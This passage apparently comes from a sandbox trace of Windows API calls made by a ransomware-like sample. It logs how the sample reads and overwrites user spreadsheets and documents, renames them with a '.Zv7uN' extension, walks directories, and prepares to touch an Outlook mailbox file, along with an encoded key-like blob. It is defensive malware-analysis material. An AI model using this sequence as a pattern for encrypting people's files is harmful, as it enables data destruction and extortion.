gdhlfxddwn2essd.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0089.051] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0089.051] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0089.051] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xf36a [0089.052] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0089.052] ReadFile (in: hFile=0x104, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0xf36a, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0xf36a, lpOverlapped=0x0) returned 1 [0089.054] CloseHandle (hObject=0x104) returned 1 [0089.055] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\g5f gdHlfXDDwn2eSSD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\g5f gdhlfxddwn2essd.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0089.058] WriteFile (in: hFile=0x104, lpBuffer=0x1f18ed0*, nNumberOfBytesToWrite=0xf36a, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f18ed0*, lpNumberOfBytesWritten=0x18f6ac*=0xf36a, lpOverlapped=0x0) returned 1 [0089.062] CloseHandle (hObject=0x104) returned 1 [0089.062] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\g5f gdHlfXDDwn2eSSD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\g5f gdhlfxddwn2essd.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\g5f gdHlfXDDwn2eSSD.xls.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\g5f gdhlfxddwn2essd.xls.zv7un")) returned 1 [0089.063] GetCurrentThreadId () returned 0xa30 [0089.063] GetCurrentThreadId () returned 0xa30 [0089.063] GetCurrentThreadId () returned 0xa30 [0089.063] GetCurrentThreadId () returned 0xa30 [0089.063] GetCurrentThreadId () returned 0xa30 [0089.063] GetCurrentThreadId () returned 0xa30 [0089.063] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ff7e410, ftCreationTime.dwHighDateTime=0x1d5e66e, ftLastAccessTime.dwLowDateTime=0xc7d5870, ftLastAccessTime.dwHighDateTime=0x1d5e49c, ftLastWriteTime.dwLowDateTime=0xc7d5870, ftLastWriteTime.dwHighDateTime=0x1d5e49c, nFileSizeHigh=0x0, nFileSizeLow=0xf36a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="g5f gdHlfXDDwn2eSSD.xls", cAlternateFileName="G5FGDH~1.XLS")) returned 0 [0089.063] GetLastError () returned 0x12 [0089.063] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0089.063] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf2b7410, ftCreationTime.dwHighDateTime=0x1d5de29, ftLastAccessTime.dwLowDateTime=0x52f86a00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52f86a00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0089.063] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0089.064] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0089.064] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf2b7410, ftCreationTime.dwHighDateTime=0x1d5de29, ftLastAccessTime.dwLowDateTime=0x52f86a00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52f86a00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0089.064] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0089.064] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0089.064] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba5d9f0, ftCreationTime.dwHighDateTime=0x1d5e5f7, ftLastAccessTime.dwLowDateTime=0x7a7e04b0, ftLastAccessTime.dwHighDateTime=0x1d5dae6, ftLastWriteTime.dwLowDateTime=0x52f3a740, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xd8ea, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="4eQFtgvX0bY.xls.Zv7uN", cAlternateFileName="4EQFTG~1.ZV7")) returned 1 [0089.064] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0089.064] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0089.064] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303699e0, ftCreationTime.dwHighDateTime=0x1d5e6ed, ftLastAccessTime.dwLowDateTime=0x8bc94650, ftLastAccessTime.dwHighDateTime=0x1d5e345, ftLastWriteTime.dwLowDateTime=0x52f608a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xd4cd, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="cc7VJrUJ4rqn A41Oh O.doc.Zv7uN", cAlternateFileName="CC7VJR~1.ZV7")) returned 1 [0089.064] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0089.064] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0089.064] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ff7e410, ftCreationTime.dwHighDateTime=0x1d5e66e, ftLastAccessTime.dwLowDateTime=0xc7d5870, ftLastAccessTime.dwHighDateTime=0x1d5e49c, ftLastWriteTime.dwLowDateTime=0x52f86a00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xf36a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="g5f gdHlfXDDwn2eSSD.xls.Zv7uN", cAlternateFileName="G5FGDH~1.ZV7")) returned 1 [0089.064] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0089.064] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0089.064] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ff7e410, ftCreationTime.dwHighDateTime=0x1d5e66e, ftLastAccessTime.dwLowDateTime=0xc7d5870, ftLastAccessTime.dwHighDateTime=0x1d5e49c, ftLastWriteTime.dwLowDateTime=0x52f86a00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xf36a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="g5f gdHlfXDDwn2eSSD.xls.Zv7uN", cAlternateFileName="G5FGDH~1.ZV7")) returned 0 [0089.064] GetLastError () returned 0x12 [0089.064] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0089.065] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0089.065] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0089.065] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.065] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0089.086] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0089.086] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0089.086] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0089.087] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0089.087] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400)) returned 1 [0089.087] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst")) returned 0x2020 [0089.087] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", dwFileAttributes=0x80) returned 1 [0089.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0089.090] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0089.091] GetCurrentThreadId () returned 0xa30 [0089.091] GetCurrentThreadId () returned 0xa30 [0089.091] GetCurrentThreadId () returned 0xa30 [0089.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 